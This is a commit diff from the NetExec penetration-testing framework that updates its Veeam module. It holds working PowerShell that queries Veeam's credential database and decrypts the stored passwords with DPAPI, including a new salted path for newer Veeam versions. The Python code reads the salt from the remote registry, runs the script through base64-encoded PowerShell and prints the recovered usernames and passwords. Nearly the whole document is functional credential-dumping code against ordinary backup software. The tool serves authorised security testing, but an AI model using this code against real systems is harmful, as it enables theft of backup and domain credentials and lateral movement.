mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output
This commit is contained in:
@@ -1,9 +1,10 @@
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
|
||||
$SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
@@ -22,19 +23,46 @@ catch {
|
||||
exit -1
|
||||
}
|
||||
|
||||
$rows=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($rows.count -eq 0) {
|
||||
$output=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$rows | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
# Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
|
||||
exit
|
||||
}
|
||||
|
||||
# Decrypting passwords using DPAPI
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
+35
-13
@@ -40,6 +40,9 @@ class NXCModule:
|
||||
PostgresUserForWindowsAuth = ""
|
||||
SqlDatabaseName = ""
|
||||
|
||||
# Salt for newer Veeam versions
|
||||
salt = ""
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
@@ -72,6 +75,8 @@ class NXCModule:
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
|
||||
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
|
||||
|
||||
salt = self.get_salt(context, remoteOps, regHandle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Veeam v12 installation found")
|
||||
@@ -107,28 +112,38 @@ class NXCModule:
|
||||
# Check if we found an SQL Server of some kind
|
||||
if SqlDatabase and SqlInstance and SqlServer:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
|
||||
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
|
||||
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
|
||||
self.printCreds(context, credentials)
|
||||
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
|
||||
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
|
||||
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
|
||||
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
|
||||
self.printCreds(context, credentials)
|
||||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
def get_salt(self, context, remoteOps, regHandle):
|
||||
try:
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
|
||||
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No Salt found")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
@@ -136,7 +151,7 @@ class NXCModule:
|
||||
def printCreds(self, context, output):
|
||||
# Format output if returned in some XML Format
|
||||
if "CLIXML" in output:
|
||||
output = self.stripXmlOutput(context, output)
|
||||
output = output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
if "Access denied" in output:
|
||||
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
|
||||
@@ -152,13 +167,20 @@ class NXCModule:
|
||||
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
|
||||
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
|
||||
try:
|
||||
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
|
||||
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
|
||||
for account in output_stripped:
|
||||
user, password = account.split(" ", 1)
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ")
|
||||
user = user.strip()
|
||||
context.log.highlight(f"{user}:{password}")
|
||||
if " " in password:
|
||||
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
|
||||
# Remove multiple whitespaces
|
||||
account = " ".join(account.split())
|
||||
try:
|
||||
user, password, description = account.split(" ", 2)
|
||||
except ValueError:
|
||||
user, password = account.split(" ", 1)
|
||||
description = ""
|
||||
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
|
||||
context.log.highlight(f"{user:<40} {password:<40} {description}")
|
||||
except ValueError:
|
||||
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
|
||||
context.log.fail("Please report this issue on GitHub!")
|
||||
|
||||
Reference in New Issue
Block a user